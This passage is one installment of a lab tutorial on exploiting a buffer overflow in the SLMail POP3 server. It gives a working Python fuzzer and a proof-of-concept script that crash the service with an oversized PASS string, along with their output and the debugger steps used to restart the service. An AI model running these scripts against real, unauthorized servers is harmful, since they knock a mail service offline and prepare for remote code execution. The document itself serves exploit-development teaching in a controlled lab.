<<< prev :: next >>>


Up to this point, we’ve set up our lab and had a conversation with our target service, SLMail. It’s a little like an exclusive house party that we haven’t been invited to; when we knocked on the door, the bouncer greeted us, checked our credentials against the guest-list, said “no dice” and turned us away politely. We’d love to see what’s going on inside, but as long as we’re playing by the rules, that just isn’t going to happen.

Let’s stop playing by the rules.


Breaking the Camel’s Back

You may have heard the analogy of the “straw that breaks the camel’s back.” Stated simply, if a camel can only carry a limited amount of weight before its back will break, then adding even the most minuscule weight beyond that limit will break the camel’s back.

When we connect to SLMail and send our data, SLMail copies that data to a variable in memory. This variable is allocated a limited amount of memory, yet when SLMail copies our data into the variable, it doesn’t check to see whether our input will actually fit within the memory allocated. As a result, if our data is too big to fit in the variable, it will overwrite data beyond that variable in-memory, causing memory corruption and possibly even a crash. This is called a Buffer Overflow (BoF).

Our goal will be to exploit this BoF vulnerability in order to gain command-line access to the target system.


Hot Fuzz

We know from the CVE that a long password sent to the POP3 server will trigger a BoF, but the CVE doesn’t seem to specify how long our password string must be. To determine the buffer size necessary to trigger the BoF, we’ll write a simple fuzzer. Stated simply, a fuzzer is a program that helps researchers find vulnerabilities and develop exploits.

Here’s what our fuzzer will do (pseudocode):

0. Let X equal 256.
1. Connect to the target and exchange pleasantries.
2. Send a buffer of length X to the target.
3. If the target stalls or crashes, proceed to step 6.
4. If the target is still online, increase X by 256.
5. If X is greater than 8192, exit the program. Otherwise, return to step 1.
6. The BoF was triggered. Inform the user, then exit the program.

Here’s what it looks like in Python 3.7 (saved as slmail_bof_1.py):

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Fuzzer."""

import socket
import time

# Target IP and Port.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110

# How many seconds should we wait for a reply before we raise an error?
SOCKET_TIMEOUT = 10

print("[*] SLMail Crash Fuzzer")

BUFFER_LENGTH = 256
CRASHED = False
while BUFFER_LENGTH <= 8192 and not CRASHED:
    print(f"[*] Attempting to trigger BoF with {BUFFER_LENGTH} bytes...")
    BUFFER = b"\x42" * BUFFER_LENGTH  # "B"
    try:
        SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        SOCKET.settimeout(SOCKET_TIMEOUT)
        SOCKET.connect((TARGET_ADDR, TARGET_PORT))
        SOCKET.recv(1024)
        SOCKET.send(b"USER root\r\n")
        SOCKET.recv(1024)
        SOCKET.send(b"PASS " + BUFFER + b"\r\n")
        if not SOCKET.recv(1024):
            CRASHED = True
        SOCKET.send(b"QUIT\r\n")
    except (socket.timeout, ConnectionResetError):
        CRASHED = True
    except ConnectionRefusedError:
        print("[!] Connection refused. Is the server running?")
        break
    finally:
        SOCKET.close()
        if CRASHED:
            print(f"[!] Overflow triggered!")
        BUFFER_LENGTH += 256
        time.sleep(3)

I chose to use the root account (instead of test) this time, because I didn’t want my requests to be rejected out-of-hand simply for targeting a mailbox that doesn’t exist. The root user exists by default in SLMail, so it’s a safe target.

I double-check to ensure that the Victim VM is online and running Immunity Debugger and the SLMail service, then I swap to the Attacker VM and run the script. It takes a while, but eventually it finds the overflow:

root@haxys:~/ShareDrive/BoF-SLMail# ./slmail_bof_1.py
[*] SLMail Crash Fuzzer
[*] Attempting to trigger BoF with 256 bytes...
[*] Attempting to trigger BoF with 512 bytes...
[*] Attempting to trigger BoF with 768 bytes...
[*] Attempting to trigger BoF with 1024 bytes...
[*] Attempting to trigger BoF with 1280 bytes...
[*] Attempting to trigger BoF with 1536 bytes...
[*] Attempting to trigger BoF with 1792 bytes...
[*] Attempting to trigger BoF with 2048 bytes...
[*] Attempting to trigger BoF with 2304 bytes...
[*] Attempting to trigger BoF with 2560 bytes...
[*] Attempting to trigger BoF with 2816 bytes...
[!] Overflow triggered!

Swapping to the Victim VM, I can see that the overflow was triggered as expected:

Proof of BoF

Excellent! Let’s convert our original foundation code into a Proof of Concept (PoC).


The BoF PoC

Here’s the updated script (saved as slmail_bof_2.py):

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Proof of Overflow."""

import socket

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10

# Exploit details.
PAYLOAD_LENGTH = 2816

PAYLOAD = b"\x42" * PAYLOAD_LENGTH  # "B"
OVERFLOW = False
try:
    print("[*] Connecting...")
    SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SOCKET.settimeout(SOCKET_TIMEOUT)
    SOCKET.connect((TARGET_ADDR, TARGET_PORT))
    SOCKET.recv(1024)
    SOCKET.send(b"USER test\r\n")
    SOCKET.recv(1024)
    print("[<] Sending payload...")
    SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
    OVERFLOW = not SOCKET.recv(1024)
    SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
    OVERFLOW = True
except ConnectionRefusedError:
    print("[!] Connection refused. Is the server running?")
finally:
    SOCKET.close()

print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")

Restarting SLMail

Before we can test this script, however, we’ll need to restart the SLMail application. I completely close Immunity Debugger, switching to the SLMail Configuration application, and click Stop, clicking Yes to accept the warning:

Stop SLMail

The system alerts me that SLMail is not running, and I click the OK button. Next, I click Start, then click Yes on the pop-up alert:

Start SLMail

After a moment, SLMail is started, and the traffic light is green:

SLMail Running

I run Immunity Debugger once again (as administrator), and click File > Attach (or hit Ctrl+F1):

File > Attach

When presented with the process list, I type slmail and hit Enter to attach to the SLMail process:

Attaching to SLMail

After a moment, the service is loaded in a Paused state:

SLMail Paused

To start the service, I simply click Debug > Run (or hit F9):

Debug > Run

Excellent! SLMail is once again online and exploitable. Let’s test that script!

Note: Throughout the process of exploit development, we’ll need to restart SLMail repeatedly. Any time the tutorial says to “restart SLMail,” follow the steps outlined above.


Testing the BoF PoC

From the attacker machine, I run the slmail_bof_2.py script:

root@haxys:~/ShareDrive/BoF-SLMail# ./slmail_bof_2.py
[*] Connecting...
[<] Sending payload...
[!] BoF Success!

Sure enough, returning to the Victim VM, I see that the overflow was triggered:

PoC FTW

Excellent!


Onward, Upward

We aren’t finished yet. In the next section, we’ll explore the vulnerability further, collecting data that will prove crucial to developing our final exploit.


<<< prev :: next >>>